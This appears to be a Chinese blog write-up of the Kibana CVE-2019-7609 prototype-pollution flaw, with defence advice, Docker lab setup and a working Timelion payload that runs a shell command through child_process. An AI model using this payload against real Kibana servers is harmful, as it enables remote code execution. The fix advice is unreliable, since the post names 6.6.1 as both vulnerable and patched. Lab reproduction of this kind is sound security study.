Kibana 原型链污染导致任意代码执行漏洞 (CVE-2019-7609)

文章讲述了Kibana中的CVE-2019-7609漏洞,涉及远程代码执行,通过原型链污染在服务器上执行恶意代码。防御措施包括升级到安全版本、更新Docker镜像和限制访问。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CVE-2019-7609 是一个存在于 Kibana 5.6.15 到 6.6.1 版本中的远程代码执行漏洞,它允许攻击者通过原型链污染(Prototype Pollution)在目标服务器上执行任意 JavaScript 代码。这个漏洞是由于 Timelion 组件中的安全问题导致的。

原型链污染

原型链污染是一种特定类型的漏洞,它发生在对象中可以修改其原型属性的情况。JavaScript 中的对象继承自 Object.prototype,因此当创建新对象时,它们将获得所有来自原型的属性和方法。如果这些更改影响了全局或关键的对象原型,那么恶意用户就可以利用这一点来注入和执行自己的代码。

攻击方式

针对 CVE-2019-7609 的攻击通常涉及向 Kibana 发送精心构造的请求,其中包含能够利用该漏洞的 payload。这种 payload 可能会尝试改变某些重要对象的原型属性,以便注入恶意代码。一旦成功,攻击者可以在受影响的服务器上运行任意命令,从而可能导致数据泄露、系统损坏或其他恶意行为。

防御与修复

对于受此漏洞影响的 Kibana 实例,官方推荐的解决方案是升级到不受影响的版本。在这种情况下,需要将 Kibana 升级到 6.6.1 或更高版本,以确保不再受到这个漏洞的影响。

如果你正在使用的是 Docker 环境,你可能还需要更新你的 Docker 镜像,并重新启动容器以应用新的补丁。此外,建议对任何敏感信息进行加密,并限制对 Kibana 和 Elasticsearch 的访问,只允许授权用户连接。

漏洞环境

启动环境前,需要先在Docker主机上执行如下命令,修改vm.max_map_count配置为262144: sysctl -w vm.max_map_count=262144

之后,执行如下命令启动Kibana 6.5.4和Elasticsearch 6.8.6:

docker-compose up -d

环境启动后,访问http://your-ip:5601即可看到Kibana页面。

漏洞复现

原型链污染发生在“Timeline”页面,我们填入如下Payload:

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

 

成功后,再访问“Canvas”页面触发命令`/bin/touch /tmp/success`,可见`/tmp/success`已成功创建:

 

法律声明

声明:

请注意,本文档包含有关已知漏洞的描述和复现方法。这些信息仅用于教育和研究目的,不得用于任何未经授权的活动。

本声明如下:

    本人对使用本文档中的信息所产生的任何后果概不负责。任何人使用本文档中的信息应自行承担所有风险。

    本文档中的信息不得用于未经授权的任何活动,包括但不限于未经授权的攻击行为。任何使用本文档中的信息进行未经授权的活动将违反法律,并可能导致法律后果。

    本文档中的信息仅为教育和研究目的而提供,并且可能包含机密和保密信息。阅读和使用本文档的信息应遵守适用的法律和法规。

    请遵守道德原则并报告您发现的任何漏洞给相关方,以促进软件和系统的安全。

    请注意,本文档中的信息可能已过时,因为软件和系统可能已经修复了相关漏洞。

特此声明。
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值